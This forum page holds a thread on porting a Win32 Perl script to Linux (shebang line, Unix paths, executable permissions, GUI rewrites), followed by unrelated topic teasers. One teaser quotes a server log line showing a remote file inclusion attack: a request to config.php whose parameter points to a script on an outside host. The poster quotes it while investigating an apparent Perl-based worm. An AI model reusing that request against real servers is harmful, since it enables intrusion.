Hello all,
I have written a pretty lengthy Perl script using Win32. Now i need to take this same script and run it on a Linux operating system. I'm not familiar with Linux at all, so I've been researching it for a few days. I feel like it's a little over my head. Or am I looking too much into it? Or maybe I'm looking in the wrong places.
Is there a straightforward way to convert this script and run it on Linux? Or can anyone direct me to a site that will explain how to do this?
Thanks,
Terra
5 1584 numberwhun 3,509
Recognized Expert Moderator Specialist
Hello all,
I have written a pretty lengthy Perl script using Win32. Now i need to take this same script and run it on a Linux operating system. I'm not familiar with Linux at all, so I've been researching it for a few days. I feel like it's a little over my head. Or am I looking too much into it? Or maybe I'm looking in the wrong places.
Is there a straightforward way to convert this script and run it on Linux? Or can anyone direct me to a site that will explain how to do this?
Thanks,
Terra
The first thing you would need to do is insert the shebang line (the first line in the script on a unix system. It should read:
That will tell the system what to use to run the script when it is executed. Next, you need to ensure that all paths reference Unix paths, and not windows. You are on a different OS now.
After that, you need to make sure the script is executable:
and then just run it using:
if you are in the same directory, or use the full path in place of the "./".
Hope that helps.
Regards,
Jeff
Yes Jeff! That helps a lot. I'm going to digest what you've said for a while. i may have more questions later.
Thank you!
Terra
numberwhun 3,509
Recognized Expert Moderator Specialist
Yes Jeff! That helps a lot. I'm going to digest what you've said for a while. i may have more questions later.
Thank you!
Terra
No problem Terra! Ask away when you are ready.
Regards,
Jeff
KevinADC 4,059
Recognized Expert Specialist
Hello all,
I have written a pretty lengthy Perl script using Win32. Now i need to take this same script and run it on a Linux operating system. I'm not familiar with Linux at all, so I've been researching it for a few days. I feel like it's a little over my head. Or am I looking too much into it? Or maybe I'm looking in the wrong places.
Is there a straightforward way to convert this script and run it on Linux? Or can anyone direct me to a site that will explain how to do this?
Thanks,
Terra
If the script is not meant to run exclusively in a Windows environment, but is a sort of general application, then converting should be pretty straight forward and in fact may not require you do anything besides add or change the shebang line.
On the other hand, if you are using Win32 modules the script will need to be modified to work on other operating systems.
If the script is not meant to run exclusively in a Windows environment, but is a sort of general application, then converting should be pretty straight forward and in fact may not require you do anything besides add or change the shebang line.
On the other hand, if you are using Win32 modules the script will need to be modified to work on other operating systems.
Yes, I thought about that. in my script i have created GUI windows using Win32::XMLBuild er, so i'm going to have to figure out how to create GUI windows for that operating system.
Terra
Sign in to post your reply or Sign up for a free account.
Similar topics |
by: DP |
last post by:
(2nd post, I think my first may have been to the wrong group - sorry)
Hello Perl-ers -
I´m hoping I can get some help here, because I'm very lost. Don't know
Perl, I'm not a programmer. And this is something that has worked for
me earlier, only now it doesn't anymore.
---------------------------------
The ¨problem¨ script -
|
by: David F. Skoll |
last post by:
Hi,
I'm tearing my hair out on this one. I'm trying to embed a Perl
interpreter into a C program. I need to be able to create and destroy
the interpreter periodically, but will never actually have two interpreters
at the same time.
On Red Hat Linux 7.3 with Perl 5.6.1, the attached program segfaults. On
Red Hat 9 with Perl 5.8.0, it works perfectly. Save the program code
as "test-embed-perl.c" and the build script as "buildte". ...
|
by: banz |
last post by:
Hello
I have a problem to resolve: I wrote a Perlscript which caches data from a
server (local on my machine) I would like to have a other connection to a
remote server but I don't know how to define the servername / hostname in
my Perl Progrem..
Here is the code:
|
by: Kirt Loki Dankmyer |
last post by:
So, I download the latest "stable" tar for perl (5.8.7) and try to compile
it on the Solaris 8 (SPARC) box that I administrate. I try all sorts of
different switches, but I can't get it to compile. I need it to be
compiled with threads.
Anyone have any wisdom on how best to do this?
Here's a transcript of my latest attempt. It's long; you might want to
skip to the bottom, where I try "make" and the fatal errors start
happening.
|
by: Ignoramus6539 |
last post by:
There were some strange requests to my server asking for config.php
file (which I do not have in the requested location).
I did some investigation. Seems to be a virus written in perl,
exploiting a vulnerability in php code.
The requests are like this
216.120.231.252 - - "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"
| |
by: graphman |
last post by:
I have a perl script that I'm calling using php's shell_exec that uses
an expect module to go to another system to pull tiff files. The php
perl combination works great when I launch from the commandline:
$php docpull.php
I get the files I want. Everything is perfect.
When I run docpull.php through the web server I get to the expect call
in the perl script where the password is passed and the script fails.
|
by: 8anos |
last post by:
Hello,
I am new at the community and newbie at programming :)
As you may know rapidshare provides a perl script for linux, to upload files at their servers.
You can find the original scripts at rapidshare news :
http://images.rapidshare.com/software/rsapi.pl
If you test it you will see that you can upload one file at time.
I try to modify it in that way that script can read a text file with the names of the files i want to...
|
by: pvenu |
last post by:
Hi,
I know basic perl (regular expressions, pattern matching, string manipulation, reading writing into text files).
Yet, my requirement is to read an input text file -> process this input file through a Perl script and the output generated from this script is to be written into an Excel sheet file (into each cells of the sheet).
Can you please provide me pointers on this. Example code for reading and writing into Excel (spread) sheets...
|
by: Rebles |
last post by:
I'm writing a PERL script to access and insert rows into a Microsoft SQL. i'm using MS SQL Server Management Studio Express (2005) to architect tables and queries.
I've inserted two records into my "Pools" table
One from MS SQL Manager as a test, and another from my PERL script.
The one inserted by MS SQL Manager shows up everytime. The row from my PERL script doesn't show up on MS SQL Manager and ONLY shows up on my PERL script and...
|
by: Rebles |
last post by:
Hi, I just posted this in the MS SQL Section, but maybe my problem is rooted in Perl, so it's more appropriate to post here instead (sorry for the double post)
I'm writing a PERL script to access and insert rows into a Microsoft SQL. i'm using MS SQL Server Management Studio Express (2005) to architect tables and queries.
I've inserted two records into my "Pools" table
One from MS SQL Manager as a test, and another from my PERL script....
|
by: Hystou |
last post by:
Most computers default to English, but sometimes we require a different language, especially when relocating. Forgot to request a specific language before your computer shipped? No problem! You can effortlessly switch the default language on Windows 10 without reinstalling. I'll walk you through it.
First, let's disable language synchronization. With a Microsoft account, language settings sync across devices. To prevent any complications,...
| |
by: Oralloy |
last post by:
Hello folks,
I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>".
The problem is that using the GNU compilers, it seems that the internal comparison operator "<=>" tries to promote arguments from unsigned to signed.
This is as boiled down as I can make it.
Here is my compilation command:
g++-12 -std=c++20 -Wnarrowing bit_field.cpp
Here is the code in...
|
by: jinu1996 |
last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven tapestry of website design and digital marketing. It's not merely about having a website; it's about crafting an immersive digital experience that captivates audiences and drives business growth.
The Art of Business Website Design
Your website is...
|
by: tracyyun |
last post by:
Dear forum friends,
With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the choice of these technologies. I'm particularly interested in Zigbee because I've heard it does some...
|
by: agi2029 |
last post by:
Let's talk about the concept of autonomous AI software engineers and no-code agents. These AIs are designed to manage the entire lifecycle of a software development project—planning, coding, testing, and deployment—without human intervention. Imagine an AI that can take a project description, break it down, write the code, debug it, and then launch it, all on its own....
Now, this would greatly impact the work of software developers. The idea...
|
by: isladogs |
last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM).
In this session, we are pleased to welcome a new presenter, Adolph Dupré who will be discussing some powerful techniques for using class modules.
He will explain when you may want to use classes instead of User Defined Types (UDT). For example, to manage the data in unbound forms.
Adolph will...
|
by: conductexam |
last post by:
I have .net C# application in which I am extracting data from word file and save it in database particularly. To store word all data as it is I am converting the whole word file firstly in HTML and then checking html paragraph one by one.
At the time of converting from word file to html my equations which are in the word document file was convert into image.
Globals.ThisAddIn.Application.ActiveDocument.Select();...
| |
by: 6302768590 |
last post by:
Hai team
i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated we have to send another system
|
by: bsmnconsultancy |
last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating effective websites that not only look great but also perform exceptionally well. In this comprehensive...
| |